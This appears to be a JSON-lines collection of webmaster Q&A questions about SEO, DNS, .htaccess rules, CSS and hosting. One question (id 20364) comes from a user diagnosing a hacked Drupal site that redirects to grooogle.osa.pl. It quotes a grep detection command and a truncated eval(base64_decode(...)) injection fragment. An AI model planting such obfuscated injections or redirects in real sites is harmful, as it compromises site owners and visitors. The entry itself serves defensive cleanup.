{"id":"18493","title":"SEO consequences from transfering tld's to sub domains","text":"We have a client that has multiple top level domains for the products they offer. These products are different full fledged softwares. They also have a domain for their actual company that makes these products. We are consolidating their sites so that all of them can be managed by one backend. One of our developers suggested to consolidate even more by moving their product tld's into sub domains of the company site. So instead of this: http:\/\/company.com http:\/\/product1.com http:\/\/product2.com http:\/\/product3.com http:\/\/product4.com It would be this: http:\/\/company.com http:\/\/product1.company.com http:\/\/product2.company.com http:\/\/product3.company.com http:\/\/product4.company.com They like their current spots they have on search engines for each of these tlds. What consequences would happen they were to move them to sub domains. How (if any) can we prevent these consequences from happening? Or is it better to keep them separate tlds?"}
{"id":"14171","title":"Same page template but ackground image doesn't show","text":"I have installed new theme for Wolf CMS here. This is a demo of the template. Why does the content background image show on the demo but not on my site? The HTML and CSS is the same, and the image exists on my server. The background image _does_ show on my home page."}
{"id":"49827","title":"What is the difference between PageRank and Page Authority?","text":"My question is what is the difference between PageRank and Page Authority? Can anybody define me please."}
{"id":"31899","title":"File access forbidden in htpasswd","text":"I have been using the htpasswd generated in this question and it seemed to have been working well until recently. Since yesterday, I am not able to access the newest file created in the folder **`ChatLogs`** (named `10_07_2012.txt`). The server returns a **403 Forbidden** error saying: > ## Forbidden > >> You don't have permission to access \/ChatLogs\/2012\/07\/10_07_2012.txt on this server. I am still able to access older files(until `09 July, 2012`). At first I thought it might be because of file permissions, but they are the same as on other 9 files in the folder. What could be the problem? Please Help. ## EDIT As per w3d's suggestion, I completely removed my **htpasswd** and **htaccess** files. Restarted the apache2 server(using `service apache2 restart`) and I'm still getting the same **403 Forbidden** error for all chatlogs created after `2012-07-10 00:00:00`. The chatlog files are created\/modified using **Lua** and **PtokaX**. The chatlogging script is similar to this one"}
{"id":"14178","title":"How do keywords in Google Webmaster Tools affect search results?","text":"I've checked the keywords list on the Google Webmaster Tools account for my website (which is a message board), and I noticed that the top keywords are things such as \"topic\" and \"forum\". I'm guessing that is because those are the words which appear the most within the homepage. The question is, will this impact search results? I'm guessing yes. If so, can this be solved, and how? I already searched on Google and on SEO forums without any luck. (When it comes to SEO, most info looks like bogus to me. I hope I'm wrong, but meanwhile I'll ask here since it seems a reliable place.)"}
{"id":"30755","title":"pulp pedia article deletion","text":"I hope this is the correct stackexchange subsite if not I apologise. I would like to delete an article from PULP PEDIA, a horrifically rude and not funny website to mimic original wikipedia posts and enhance them with curse words. Could somebody tell me how I can delete a PULP PEDIA entry without deleting the actual Wikipedia entry ? Thank you very much. All the best."}
{"id":"11987","title":"IE9 renders my web site as IE7. How to make it render as IE9?","text":"IE9 renders my web site as IE7. How to make not to make assumptions?"}
{"id":"60600","title":"Keyword ending ccTLD domain names and SEO","text":"There is huge number of ccTLD top domain names that is available for registration. This is country specific domains could be used for `keyword ending domain`. e.g `assemb.ly`, `architectu.re`, `stud.io`.... etc I am just wondering how is SEO goes for that kind of domains? The reason I am asking because the `.com` and `.net` domain names I want to register are not available so that is why currently I am researching the option of `keyword ending domain` but not sure if it is a good idea to use such kind of domain for global not country specific website. **In my case I am looking to`.re` domain name.** Or it is better to come up with different `.com` or `.net` domain name that is available instead of using `keyword ending domain` in case when `.com` or `.net` are not available? What do you think? UPDATE: here is article I came across but cant see `.re` domain in the list... Would this Google Webmaster Tools trick really help to set ccTLD to target global: > Set a geographic target: > > On the Webmaster Tools Home page, click the site you want. Click the gear > icon , and then click Site Settings. In the Geographic target section, > select the option you want. ? UPDATE: Found a good discussion here on that topic and this article"}
{"id":"52151","title":"Best way for beginner to learn JavaScript and PHP coding","text":"I have a job interview coming up and in job description it states I need to be able to write JavaScript and PHP coding. Now its been a while since I did JavaScript and PHP coding. I am planning to use w3schools to be able to start of with the basics. But my question is what is the best way on learning these web programming languages? Is it through books or through the web? If anyone know any sites which gan be helpful to learn or to be able to take tutorials in then please can you give me some links to check out?"}
{"id":"60609","title":"Can't get an image to scale to browser size!","text":"If anyone has any insight on why this background image is not scaling properly on this page to browser size, that would be really helpful. I am stumped! I'm fairly new to CSS and HTML and could use some assistance. Whoever can help me figure this out, I'm willing to paypal a few bucks. If any more information is necessary please let me know! It's the image of the computer right below the nav bar. http:\/\/codesilver.us"}
{"id":"10581","title":"Where can I find comscore rank?","text":"Recently one ad network rejected my registration stating that my site doesn't match their minimum monthly impressions, even though the site serves thrice the required page views. When I contacted them for details, their representative hinted that they are using comscore data for screening submissions. Where can I view my site's comscore ranking and details? **Update** I was able to find the traffic by tagging my site with comScore Direct."}
{"id":"10583","title":"Do first impressions really count?","text":"So, i am currently writing something up for a college class. Problem is everything is hypothetical. I need some proof. I believe a first impression on a website is imperative so that people actually use it and in my case, buy your product or services as well. Basically I'm wondering has there been any studies that shows how a better web design will increase revenue for any kind of services? I don't just mean selling products like a T-shirt, but labor services as well. If someone wanted their computer fixed and searched for companies that can do so, will a first impression on the website help them make their decision to use your company? Are there any studies like this? White papers maybe? Thanks!"}
{"id":"13169","title":"Should I move to Linode?","text":"I am looking for insight, because I have the tendency to run full throttle into things with (at times) too much confidence. To summarize my somewhat lengthy explanation below, I am looking to see if I can handle my own Linode LEMP stack without getting hacked. I am starting up a couple of websites for fun, and if all goes well make it a career. I would love to run a few niche sites of my own and then freelance web dev with web hosting as a package for customers. Currently I have a site on a Knownhost WHM VPS. However, I would prefer to work on the console as opposed to running WHM\/cPanel. Also I do not really want my clients to have a cPanel, since I am targeting people who \"just want it to work\", there are plenty of good hosts with cPanel anyhow. Scaling is another issue, I am planning to have a somewhat busy site with 250k+ visits\/mo., and I am afraid making the move later will be more painful. So I will admit, my linux bash skills are lacking, but are increasing every day. I am currently practicing\/studying for the LPIC-1 exams. I have built LAMP and LEMP stacks on my basement server, and they work fine here. Another issue is the lack of documentation of WHM compared to apache, it seems it would be easier to learn apache\/nginx. I am also planning on using www.vpsbible.com to help me secure the Linode and help me build a LEMP stack with PHP-FPM and X-Cache. Anyhow, with all this being said, would I be foolish to start up my own Linode?"}
{"id":"53249","title":"Does updating site too frequently hurt SEO rankings?","text":"I recently updated my site, like 3-4 times in 2 months. At first everything was good, (i.e., Google was updating my pages' SERP content in 2-3 days). But now I did kind of a major change, I switched to CodeIgniter. My URLs are nearly the same as before, but my page titles and meta descriptions changed in terms of order. They were starting with brand name, and now they are starting with keywords. Now for one week Google has not updated my site. Do you think my site is Sandboxed? Is it bad to update too frequently? Also, my site is hosted on a free host called 000Webhost, so it is sometimes down. Could that affect ranking very much? My site also has no backlinks whatsoever, so I don't think Google visits my site very often, and Google Webmaster Tools says so too."}
{"id":"53248","title":"DNS: Getting www.example.com set up","text":"I set up a recent (Wordpress) project on Microsoft Azure with a domain from 123-reg. When I set up the DNS servers I am getting `example.com` is working to the site, but `www.example.com` isn't and is showing a `404` error. If possible I would love to set up the DNS to allow either `www.example.com` or `example.com` to work. Even better if both can work! I have worked with domains before mainly through cPanel which has great options that normally work for me, while doing it straight from the Domain service isn't showing any possible results."}
{"id":"18673","title":"Is it possible to have a link inside a textbox like Outlook (names of the recipients)","text":"Would this work? <input type=\"text\" value=\"<a href=jroq@gmail.com>JROQ<\/a>\"><\/input> How could I make it happen?"}
{"id":"18670","title":"How to redirect any URL to lowercase URL?","text":"I have this .htaccess files: ErrorDocument 404 \/index.html <IfModule mod_rewrite.c> Options +FollowSymLinks RewriteEngine On RewriteCond %{HTTP_HOST} ^domain\\.com [NC] RewriteRule (.*) http:\/\/mydomain.com\/$1 [L,R=301] RewriteCond %{REQUEST_URI} index.php$ RewriteCond %{QUERY_STRING} ^search=([A-Za-z0-9\\+]+)$ RewriteRule ^(.*)$ \/mystring-%1.html? [R=301,L] RewriteRule ^myfolder-([^+]+)\\+([^.]+)\\.html$ \/mp3-$1-$2.html [R=301,L] RewriteRule ^myfolder-(.*).html$ index.php?search=$1&a=1 [L] RewriteRule ^myfolder-([a-zA-Z0-9_-]+)-([^-]*)\\.htm$ \/index.php?search=$1&page=$2 [L] <\/IfModule> **I want to redirect all of the Upercase and all case to lowercase URL like this:** `\/myfolder-sample-URL.html` to `\/myfolder-sample-url.html`"}
{"id":"33251","title":"How long does it take for Google Webmaster Tools to notice links that have been removed?","text":"In order to comply better with Google's guidelines, we've gone to a lot of effort to remove links to our website. However, sites that no longer link to us still show up in our Google Webmaster Tools. These links were removed over a month ago."}
{"id":"37915","title":"Licensing javascript code","text":"I am developing a javascript library with various functions and am providing it in repositories, but I do not know how to provide the license. Should I just put the file `LICENSE` in the same folder as the javascript JS file and comment on the type of license used? **example** : * lib.js * license **lib.js** : \/ * * License \"license name used\" * \/ code..."}
{"id":"33929","title":"Disallow all user agents except one using .htaccess?","text":"I've been struggling to get this .htaccess working. The aim is to disallow all user agents besides my app. The app sends a GET request with a user agent of lets say 'AcmeUpdater'. Whenever I try to navigate to any file in the folder, I get a 500 - Internal Server Error. Here are the rules I'm using: <IfModule mod_rewrite.c> Options +FollowSymLinks RewriteEngine on RewriteBase \/ RewriteCond %{HTTP_USER_AGENT} !^KMUpdaterClient* RewriteRule .* - [F,L] <\/IfModule> I have updated the .htaccess file as suggested in the answer by Nick, and restarted Apache. After trying a couple of different things, it seems that just the presence of a .htaccess is causing the 500 error. I'm getting nothing in the error logs. The .htaccess file at the document root looks like the following: <IfModule mod_rewrite.c> Options +FollowSymLinks ErrorDocument 404 \/index.php?error=404 RewriteEngine On RewriteBase \/ RewriteRule ^index\\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d <\/IfModule> So I realised that the error logs were in chronological order rather than the reverse chronological I expected (Oops!). The error I'm getting is: `<\/IfModule> without matching <IfModule> section`. I removed the `<\/IfModule>` and still I get that error. Ideas?"}
{"id":"11188","title":"design website using header and footer template approach","text":"I am trying to re-do my portfolio website since its a pain to maintain it. Everytime I have to add a new item to it, it just takes forever and kills me. I'd like to redesign in a way that makes the workflow of adding new items smooth. I am not looking for fancy effects, just a simple website which makes it easy to people browse through my stuff. All of the pages are standalone html files. Each page has a common header and footer for navigation between pages. Right now, whenever I have to modify the content, I try to dig in which table row it is and then add content to it. (yes, I use notepad). Can someone please recommend me what would be the best way to go about it ? (PS: Please let me know if I missed out anything)."}
{"id":"51236","title":"How to Merge Multiple Website Account - Google Analytics","text":"When my clients adds me as an admin on there Google Analytics account for the website I am going to manage. Each time a separate Account shows up on my Google analytics with a single property in it (that is the clients site). Is it possible to merge all those accounts and keep them as properties under a Account I create, call it \"Clients\" I currently have 20+ clients accounts and its getting overwhelming. Its would be great if I can move them to a single account and add each site as property."}
{"id":"37913","title":"SEO - Index images (lazyload)","text":"`Note:`My question is not about Javascript. I'm developing a plugin for `jQuery\/Mootols\/Prototype`, that work with DOM. This plugin will be to improve page performance (better user experience). The plugin will be distributed to other developers so that they can use in their projects. How does the `lazyload`: The images are only loaded when you scroll down the page (will look like this: http:\/\/www.appelsiini.net\/projects\/lazyload\/enabled_timeout.html LazyLoad). But he does not need `HTML5`, I refer to this attribute: `data- src=\"image.jpg\"` Two good examples of website use LazyLoad are: youtube.com (suggested videos) and facebook.com (photo gallery). I believe that the best alternative would be to use: <A href=\"image.jpg\">Content for ALT=\"\"<\/a> and convert using javascript, for this: <IMG alt=\"Content for ALT=\\\"\\\"\" src=\"image.jpg\"> Then you question me: Why do you want to do that anyway? I'll tell you: Because HTML5 is not supported by any browser (especially mobile) And the attribute `data-src=\"image.jpg\"` not work at all Indexers. I need a piece of HTML code to be fully accessible to search engines. Otherwise the plugin will not be something good for other developers. I thought about doing so to help in indexing: <noscript><img src=\"teste.jpg\"><\/noscript> But `noscript` has negative effect on the index (I refer to the contents of noscript) I want a plugin that will not obstruct the image indexing in search engines. This plugin will be used by other developers (and me too). `This is my question:` How to make a HTML images accessible to search engines, which can minimize the requests?"}
{"id":"28759","title":"Digital Asset Management System","text":"I am looking for an opensource web-based digital asset management system. My requirements are to create a web based system where users can upload and download .zip, .jpg, .png, .pdf, .doc, .xls etc. media files. Also user management should be there, so that we can create multiple users and accordingly give them permissions. I have found one http:\/\/www.resourcespace.org\/ but it looks a bit big and complicated. It is fitting to my need but I am looking and researching a bit more to get some good and more easy to use system. If anyone knows such web based system or tool, please share."}
{"id":"38045","title":"How do I get Google to crawl my content when it's only displayed when you fill in a form?","text":"I have a webpage. **It has a form and the \"results\" section is blank**. When **the user searches for items** , and a list that pops up, he\/she chooses one option from list and then the **corresponding results are displayed in results section.** I once decided to log every ip,url of person with time that visits my page. One ip was 66.249.73.26, and on doing google search I came to know it is ip of google bot. link for whatmyipaddress google bot Now when I searched for the links that this ip visited, it was like this: search?id=100 search?id=110 ... search?id=200 ... then afterwards it incremented in steps of 1, like 400,401.. But **people search for strings and not numbers**. And because googlebot searches for numbers like this, I think the corresponding content is never displayed and so **my page content is never indexed, even though it has rich content.** So I want to ask you is that **in order to show google bot all the content that the webpage has, should I list all the results in index page and ask users to enter string to filter results?**"}
{"id":"56686","title":"Integrative Google Analytics for dynamic search","text":"My website is advertised with TripAdvisor and in the following way the URL is called: https:\/\/ther8.com\/api\/hotel\/271203?start_date=2014-01-16&end_date=2014-01-18&num_adults=2&utm_source=AUB1&utm_medium=Meta_CheckRates_CPC&utm_campaign=TripAdvisor In the above URL: **Search Parameters** hotel_id = 271203 start_date = 2014-01-16 end_date = 2014-01-18 name_adults = 2 **Tracking Parameters** utm_source=AUB1 utm_medium=Meta_CheckRates_CPC utm_campaign=TripAdvisor And the URL is called how can Google Analytics make a note of the search parameter that has these tracking parameters?"}
{"id":"8151","title":"How to move a website and domain name without experiencing downtime for emails or site?","text":"Okay, I have a pretty complex problem, so I'll get right to it. I'm a designer who built a new website for my client. Their old site is hosted at GoDaddy, as well as their email. Problem is, the guy who built the original site decided to put the original domain name and hosting under HIS personal GoDaddy account. Well, that turned out to be a bad move for several reasons. Here's how it's all tied together. The original domain name, www.domainoriginal.com, was actually purchased at Network Solutions. The original web designer pointed the nameservers from Network Solutions to his GoDaddy account, where the email and hosting is setup. The new domain name, www.domainnew.com, was purchased under a new and separate GoDaddy account belonging to the company, and the new website was built under a 3rd party platform (Big Commerce). So, the www.domainnew.com is already pointed to the new website using A records at new GoDaddy account. All is fine there. However, they still need www.domainoriginal.com to point to the NEW website as well. (The old one can simply be deleted, it is NOT important). AND, they want to keep their old email addresses intact and working as well, but under the NEW GoDaddy account. Obviously, I have no DNS control at Network Solutions, and I have no idea what kind of control I have at GoDaddy under the old account because the web designer will not let me see inside his account. But, he and GoDaddy both tell me nothing can be done other than to repoint the nameservers to Network Solutions, and then repoint the A record to my new website, www.domainnew.com, and point the MX Records to GoDaddy. I'm told the downtime would be 24-48 hours if I do this. Ideally, we'd like to do a domain name transfer and get www.domainoriginal.com in the new GoDaddy account created by the company. But, I'm told this could take up to 7 days. Does this mean the site and email will be down for 7 days? And any emails sent during this time, would they be lost forever? If I do this, how long could I expect the site and email to go down? And, will the emails be permanently lost? I've gotten different answers from everybody at GoDaddy so I kind of don't trust them anymore... Any help would be greatly appreciated Thanks, Tyson"}
{"id":"17911","title":"Add domain to VPS","text":"I have a VPS server running _Ubuntu 11.04_ with webmin installed on it. How can I add my `example.com` domain to my VPS like the way we do on shared server via web panels such as cPanel and etc?"}
{"id":"56577","title":"Anyway to validate schema.org JSON before publishing?","text":"I have a site with a lot of data, and I'm dynamically building JSON-LD data that I think is `schema.org` correct. I can't find a dead-on example on `schema.org`, and it will take forever if I have to publish the content live, then wait for Google to say there's a problem, then re-attempt it, then wait again, etc. This is an example of what I'd like to validate: <script type=\"application\/ld+json\"> { \"@context\": \"http:\/\/schema.org\", \"@type\": \"TravelAction\", \"agent\": { \"type\": \"Person\", \"name\": \"John Schmuckatelly\" } \"fromLocation\": { \"@type\": \"Country\", \"name\": Curacao\", \"@type\": \"GeoCoordinates\", \"latitude\": 12.05\", \"longitude\": -68.81667\" } \"toLocation\": { \"@type\": \"Country\", \"name\":Aruba } } <\/script>"}
{"id":"20369","title":"Is there a tool that converts css to less.css?","text":"I have a pretty big CSS file, that I want to convert to less. When I wrote the CSS I did not know less.css, but now I still want to use my old CSS. Is there a tool that can help me to convert it automatically?"}
{"id":"51232","title":"Moving domain currently on Google Apps to my own machines","text":"I own a domain which currently uses Google Apps (it was free back then). Due to recent events I have decided I want to move everything right where I can control the data, which basically means I have the idea of either using a dyndns solution and have at home my own mail server or, better, use an hosted machine to retrieve the mail and the move it via mua to a local machine. My problem is that I know basically next to nothing about DNS and stuff, while I have installed mail servers before. :) [I simply never had the need to work with DNS...] I'd really appreciate if someone could point me in the right direction: what do I need to do to: 1. terminate the Google Apps management of the domain 2. setup dns entries to that mail goes to the new server instead of Google Apps Additionally: 1. if I decide to go the \"hosted route\" and I put up a machine via a supercheap hosting seller (say, the cheapest OVH one is a few euros a month), how can I tell the world that that machine is the mail server? Of course I would be wise to do a full backup of the mail on Google Apps, and that's easy enough to do by imap (right?)."}
{"id":"20364","title":"Resolving a security issue with my private virtual server","text":"When I search for \"thelab athome-training\" on Google, and click on a link that point to my site (thelab.athome-training.com), I am redirected to `http:\/\/grooogle.osa.pl` I googled and found that post: They said: > The site is doing a conditional redirect when the referrer is Google. So I check .htaccess and index.php, but can't found something. So I replace all the Drupal files with a fresh download, but no change. I also did: dnstracer -v thelab.athome-training.com But evrything looks fine... Many questions comes in my mind... How did they do that ? Why ? How to found the infected file ? How to prevent this from happening again? Edit Thank you SkeetOverFlow, grep -r \"eval(base64_decode\" * run from the root of my Drupal install, show my that files from the panel module are infected: eval(base64_decode(\"ZXJyb3JfcmVwb3J0aW5nKDAp ... In all the templates, many times in each file But the site you link, speak about an issue with php 5.2, and I run php 5.3... Is it possible that PHP 5.3 is also buggy?"}
{"id":"44041","title":"Choosing the best URLs for a Picture Blog site on Wordpress","text":"I would like to select the best SEO friendly URL format for my WordPress based picture site. But I am not sure about the impact of SEO in the following formats. In other words I want a better format to help me from duplicate URLs problem. `www.example.com\/picture\/title-{Unique_ID}` or `www.example.com\/picture-{Unique_ID}\/title` Or let WordPress add numbers on the end to avoid dupes e.g `www.example.com\/picture\/title-2` I am in the urge to put Unique ID or any number to prevent from the duplicate of URLs and not for any other feature as this site does with Unique ID. By the way do search engines consider `www.example.com\/title-2` more weight compared to using just `www.example.com\/title-2`?"}
{"id":"11532","title":"Multilingual sites SEO and canonical","text":"I'm in the process of improving the SEO in one of our client's multilingual sites. Currently the site passes a user the site in their preferred language by checking for a language cookie set by the system last time it was visited. If the cookie does not exist it looks for an \"Accept-Language\" header from the browser and checks for a language supported by the site. If that fails it defaults to a language based on some preset defaults for GEO-Location. Once we have a language determined the site will return the page in the language determined with no change to the URL and with all the proper meta tags for that language. So if a Spanish speaking user requests domain.com\/venue\/access\/ then they we'll see Spanish while an English speaker would see English. Of course if the user clicks a language select link with a query string including lang=?? (?? would be es,en, ect.) their cookie will be changed to that language and they'll get that language from that point forward. The problem with this approach is, while usually great for a person, crawlers (currently) don't pass an \"Accept-Language\" header when they request a page. This means that a result shown for people using Google, Bing, ect. will usually be in the default language or sometimes a completely different language depending on the path the crawler has taken to a page and how it decided to index it. This is killing our SEO and click-though outside of the default language. We're working with two ideas for how we're going to change handling of user language. * * * **Version 1** - All languages have a sub-directory If a user hits a URL without a language directory we'll check for the users language by following the following steps in order until we get a match. 1. User has cookie for language preference. 2. Check the browser headers for a supported language 3. Fallback to a site default language based on GEO-Location. Once a language has been determined the system will set a cookie, do a 301 direct and add the language sub-directory to the URL which will be parsed by mod-rewrite and passed as a query string parameter. * * * **Version 2** - All NEW languages have a sub-directory The first time a user hits the site if they hit a URL without a language directory we'll check for the users language by following the following steps in order until we get a match. 1. User has cookie for language preference. 2. Check the browser headers for a supported language If a supported language has been detected the system will set a cookie. If the language is not the default language the system will do a 301 direct and add the language sub-directory to the URL if the language is not the default site language which will be parsed by mod-rewrite and passed as a query string parameter. * * * Any input on the better option? How should we deal with Canonical URL's depending on which option we choose, should canonical URL's point to the main URL without the language sub- directory or should they point to the version for the current language sub- directory? The client would like, if possible, to have counters for social networking reflect the totals for a page in all languages and we're assuming having separate sub-directories for language will prevent this, unless we use a canonical to a single URL which will probably screw up crawlers and negate the whole point of the language changes. Is there an ideal solution I might be missing?"}
{"id":"44875","title":"Maximum number of sub-domains?","text":"If I own a domain (www.mydomain.com), what are the theoretical and practical limits on the number of sub-domains I can create (eg meta.mydomain.com, beta.mydomain.com)?"}
{"id":"912","title":"How is the search engine position of a web site with a good keyword but with a TLD not famous","text":"i'm new, and i'm sorry for my english. I try to explain: i've bought for my italian site a domain (for example): www.FOO.in . The extension .IN is (in theory) for Indian web site. I haven't bought .IT (italian web site) because it was already occupied. The same for other famous extension: .COM, .NET, .ORG etc. So i'm asking you: when i search for the word \"FOO\" in Google Italy will be there possibilities to appears on top (the first 10\/20) pages ? For your experience how google threat \"keyword\" in domain name, but with foreign extension ? Thank you."}
{"id":"65413","title":"How to make content load faster for mobile on a responsive design site?","text":"So, I have a responsive design site. Studies say that for mobile devices we need to show a bit less content (graphics and such), and that we need to make sites load quicker for mobiles. If I set some page elements in css to display:none for mobile, it won't show these blocks, but it doesn't mean that content in these blocks won't be taking time to download. So we end up hiding but still serving. On a responsive site, how do I hide blocks of page elements and not serve their content to mobile users to speed page load time?"}
{"id":"47893","title":"What would SEO and SEM initiatives be defined as?","text":"I was asked to give examples of SEO or SEM initiatives, yet I really don't know what they mean by SEO or SEM initiatives. Is this a strategy or method? Sorry for sounding completely dumb."}
{"id":"1083","title":"Large site footers","text":"I have noticed that lots of new site use a gigantic footer with columns that represent their navigation? What is the philosophy behind them? Are they for SEO, semantic layout, or is that information just required but not important. Examples: * http:\/\/www.mint.com\/ * http:\/\/www.oregonlive.com\/ * http:\/\/moms4mom.com\/ * http:\/\/arstechnica.com\/"}
{"id":"1082","title":"What to think about for top navigation for an informational site","text":"Our site is pretty old and the navigation is currently a large list of links on the left side of our page. (We use CSS similar to suckerfish to collapse it) Our site is mainly informational, with topics from news releases to science papers to social media links and multimedia. How to make effective top navigation? Use a classic top nav with contextual side navigation? How many menu items become too many? How much of the page should be dedicated to navigation? What sort of principles guide the decision as to where something goes in my menus? EDIT: This is a .gov site, therefore much of the content is esoteric and not for everybody. However if you need it, you really need it. And in our case, about 50% of our visitors are probably looking to argue with us (meaning they are on the hostile side to begin with)"}
{"id":"68953","title":"SEO: Include category in URL to article\/post?","text":"Is it good for SEO to include the category in the URL? Like so: \\articles\\ID\\example_category\\slug Or does it not matter and only make the URL unnecessary long? **Note** ; the article is also available at `\\articles\\ID` which redirects to the URL above, so the user does not have to type out the long URL."}
{"id":"47544","title":"Alternating links and slide down content on a list of sub sections","text":"I have a page for a doctor's practice. In the summary page for the practice there is a list of subsections such as Women's, Men's, Children, Sport, etc. Some of these sub sections are very large, others can be a paragraph or more with a short unordered list. In terms of content volume, the large subsections warrant their own separate page, the smaller one's not so much. I created a little plugin which enables me to use the list of subsections in 2 ways. When clicking on the title of a larger section, you'll be sent through to it's own page. For the smaller sections, a slide down box will open with the information. Is this a good way to handle my information architecture? Should I be giving the smaller sub sections their own page for SEO purposes?"}
{"id":"39345","title":"If EC2 has a free tier why do I need to use a CC?","text":"If I'm going to use the free tier, why do I need to enter my credit card information? How can I be sure I won't be charged for it while I'm using it?"}
{"id":"68958","title":"Google is ignoring my robots.txt","text":"Here is content of my robots.txt file: User-agent: * Disallow: \/images\/ Disallow: \/upload\/ Disallow: \/admin\/ As you can see, I explicitly disallowed all robots to index the folders `images`, `upload` and `admin`. The problem is that one of my clients sent request for removing the content from the images folder because .pdf document from the `images` folder appeared in the google search results. Can anyone explain me what I'm doing wrong here, and why google indexed my folders? Thx!"}
{"id":"47542","title":"Web gallery system","text":"is there a gallery app or code that will show image that has been uploaded in an certain directory and it will be shown normally but when people download it , it will put a watermark in it Any advice is welcome"}
{"id":"67684","title":"Will adding X-Robots-Tag:noindex remove an already indexed page from searchresults","text":"I have a site that has already been indexed by google and shows in the search results. After it had already been indexed I added the X-Robots-Tag:noindex header to all responses. Is that enough for it to be removed from the search results the next time google tries to index it?"}
{"id":"50042","title":"Profile website - main site appears in SERPs, but profiles do not","text":"I run a site with user profiles and while the main site is ranking, none of the profiles are. I know that the profiles don't have any backlinks yet, but I've noticed that my profile on a competing site IS ranking, despite not having any backlinks. Are there any strategies for getting profiles on a site to appear in SERPs?"}
{"id":"12982","title":"How can I transfer files from one server to another server using FTP","text":"How can I transfer files from one server `http:\/\/abc.com` to another server `http:\/\/xyz.com` I do have the ftp passwords of `http:\/\/abc.com` [source server] and destination server. Which tool can be used? Edit: **Instead of downloading files from source server to computer and again uploading from computer to destination server isn't there any shortcut way?**"}
{"id":"12980","title":"How does font-size work in CSS","text":"Could you please explain me or send me a link where is explained how does CSS property font-size work? When you're working with relatives sizes in %. It's the percent of what? What are best practices etc. thank you"}
{"id":"67385","title":"PHP installation missing while opening website","text":"All was working fine but then suddenly **Your PHP installation appears to be missing the MySQL extension which is required by WordPress** came when I try to my site. Hosting:Godaddy PHP version:5.4.26 MySQL version:5.5.36-cll-lve Pleaes help as my site is down for more than a day andI am suffering earning loss"}
{"id":"61416","title":"Website traffic suddenly dropped by 90%","text":"Our yellowpages website `lokaterr.com` was getting good traffic,but suddenly traffic got reduced to 90% since may 3rd. There are no warnings or errors in Google Webmaster tools. Please help me out how to understand this issue. "}
{"id":"67389","title":"Is the correct way for adding the author's name on Facebook Sharing to use: meta name=\"author\"","text":"In some Facebook posts I see the author of the page, beyond the title and description. For example, in the image below is the string \"Di Redazione\":  Looking at the source code of the page: http:\/\/www.tuttonotizie.info\/notizie1\/ultime-notizie-di\/politica\/25340-borghi-ai-sindaci-protagonisti-nel-processo-di-nascita-delle-unioni.html I have seen that the author it is written with the string: <meta name=\"author\" content=\"Redazione\" \/> Is this the correct way to do this, or is there some other way? Searching Google didn't provide a thorough enough answer."}
{"id":"65110","title":"Codeigniter not working after moving direcories","text":"I just starting trying to learn CodeIgniter. From the user guide it suggests to move the application and system folder for security reasons. I now have this structure: .\/public\/index.php .\/app\/ .\/sys\/ i've edited the index.php, adjusting the `$system_folder` with my complete path ending without slash and `$application_folder` with the compleate path without the final slash. I' ve also edited the database.php file inside application\/config\/ to let it connect to the database. Those data are right. Now, when i try to access `\/public\/index.php` i get a blank page Thanks for help"}
{"id":"1005","title":"Is the title attribute (not tag) important to SEO?","text":"The title attribute is an HTML standard element available across most tags. e.g. > `<li><a title=\"Widgets listed by household function\" href=\"\/widgets\/by- > function.html\">by Function<\/a><\/li>` I've used this attribute on some sites for usability; many browsers pop up a \"tooltip\" over the link with the more detailed description of what is on the other side. I've been wondering if doing so is having a negative effect on my rankings (hidden text?) or if it has any effect at all on onsite or offsite keyword relevance calculations. Does anyone know of any research done on this?"}
{"id":"25978","title":"SEO Is it Good or Bad to add Company Name to Title Attribute?","text":"> **Possible Duplicate:** > Is the title attribute (not tag) important to SEO? So while I'm filling out title \/ alt attributes I noticed I was just automatically adding my company name to almost every links title tag (ex. title=\"Company Name Video Services\", etc.) but is this a good thing or bad thing? Will the repetition kill benefit of the keyword? Should I fill it with better keywords since my company name should theoretically be everywhere in the content anyway?"}
{"id":"29520","title":"Webserver timing out","text":"I was working with my website yesterday when I was at home using my web address. Yesterday I installed Wordpress and it seemed to work. When I got to work today, I tried opening my website, and now the connection times out. I can still access my Virtualmin interface, just not the actual website. What could cause this, as I had made no changes to Virtualmin since it was working yesterday. Note: I have also restarted my server to try and resolve the issue. Site: www.weekshouse.com Server: Ubuntu 12.04 (LTS) CMS: Wordpress"}
{"id":"50719","title":"Google Webmaster Tools reporting 404s for pages that are not in the sitemap (but were there previously)","text":"Google Webmaster Tools is reporting 404 errors on URLs that are not present in the submitted sitemap anymore. These URLs were present but since then I have resubmitted my sitemap and GWT shows that it was, indeed, crawled again after the change. Is there anything I can do to stop Google from indexing these URLs without manually excluding them? There are quite a lot of them so I would love to be able to avoid doing it."}
{"id":"47097","title":"How to tell robots that site is viewable on mobile phones?","text":"Is there any markup or meta-tag which I can place in the pages of my website to tell crawlers which pages are either for web or for mobile?"}
{"id":"1333","title":"What are common Media Library tools used for Kentico\/Generic PHP sites?","text":"Through a course of mergers and acquisitions the particular group of companies who I work for have built up a vast array of websites running either Kentico (or ASP websites that _will_ be using Kentico) and Generically produced PHP websites. There is no DAM (Digital Asset Management) and our holding company wants to keep all the identities apart, so you can imagine the blood bath that ensues around marketing endeavours. **What Media Library solutions are there which will work on both the Kentico CMS and for Hand-written PHP?** We use approval\/versioning and some sites will soon be large enough to need CDNs (so some form of link referencing is needed). There are three scenarios where other solutions have fallen down: 1. Page a uses image z, page b uses image z, image z is updated and page a\/b instantly use the updated image z instead of going through the approval process. 2. Page a uses image z, page b uses image z, image z is updated, page a's update is approved and instantly page b has the updated image z instead of going through the approval process. 3. Page a uses image z, page b uses image z, image z is updated, page a's update is approved, page b's update is approved, suddenly we need to go back to the previous version of page a and the older version of image z is no longer there. The added pain is that we need a central image library to hold things like model sign offs and past marketing compaign usage to avoid clashes between the brands."}
{"id":"1332","title":"Which resolutions should I make a favicon in?","text":"I understand that you can create a `favicon.ico` with multiple resolutions embedded. Which resolutions should your average website support? Why? Edit: Performance should be a consideration. I want to keep the favicon around 1K to stay inline with these recommendations: http:\/\/developer.yahoo.com\/performance\/rules.html"}
{"id":"15402","title":"In HTML5, different browsers support different formats of video","text":"Does it mean that I need videos of multiple formats so that it can be played on different browsers by adding multiple sources to the tag?"}
